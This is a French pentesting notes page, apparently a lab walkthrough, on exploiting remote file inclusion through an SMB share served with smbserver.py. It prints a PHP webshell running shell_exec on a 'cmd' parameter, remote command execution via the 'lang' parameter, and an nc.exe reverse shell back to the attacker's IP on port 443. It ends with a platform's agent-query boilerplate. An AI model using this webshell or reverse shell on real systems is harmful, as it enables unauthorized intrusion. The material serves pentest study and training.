> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# Serveur SMB RFI

#### Test RFI via serveur Web distant :

Nous avons tenté de téléverser un fichier distant via l’URL `?lang=http://10.10.14.3/index.html` pointant vers notre serveur web local avec Python3.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

mais cela n’a pas fonctionné.

<figure><img src="/files/537ecc9d9d4c0e6119f98897179df921d5f7c7ae" alt="" width="518"><figcaption></figcaption></figure>

**Création d’un serveur SMB :** Nous avons créé un serveur SMB local avec `smbserver.py` et partagé le répertoire courant :

```bash
smbserver.py share $(pwd) -smb2support

```

Nous avons ensuite tenté de téléverser un fichier depuis le serveur SMB en modifiant le paramètre `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* Cette fois, le serveur a correctement interprété notre fichier `index.html`, affichant son contenu ("Hello World").

<figure><img src="/files/96592d54979377389c0a570dc41c40a6bfd6f6ef" alt="" width="563"><figcaption></figcaption></figure>

**Création d’un fichier webshell PHP (`cmd.php)`** Nous avons créé un fichier `cmd.php` sur notre serveur SMB pour exécuter des commandes à distance via le paramètre `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**Exécution de commandes via SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

En utilisant l’URL ci-dessous, nous avons exécuté la commande `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/eca5ba41f571398dc773843354eee2ed625ffbfd" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Téléchargement de `nc.exe` pour la shell inversée :**/ Nous avons récupéré le `nc.exe` binaire depuis les outils de fuzzing dans `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` et l'avons copié dans le répertoire de travail.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**À l'écoute sur le port 443 :**/ Nous avons configuré un `nc` écouteur sur le port 443 :

```bash
rlwrap nc -nvlp 443

```

**Exécution de commandes du reverse shell via SMB :**/ Nous avons ensuite lancé une reverse shell pointant le paramètre `cmd` vers notre fichier

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

Nous avons ainsi obtenu une reverse shell vers notre machine.

<figure><img src="/files/0c10fe2e9320e73e88a5ab07651d7afec9ec8318" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
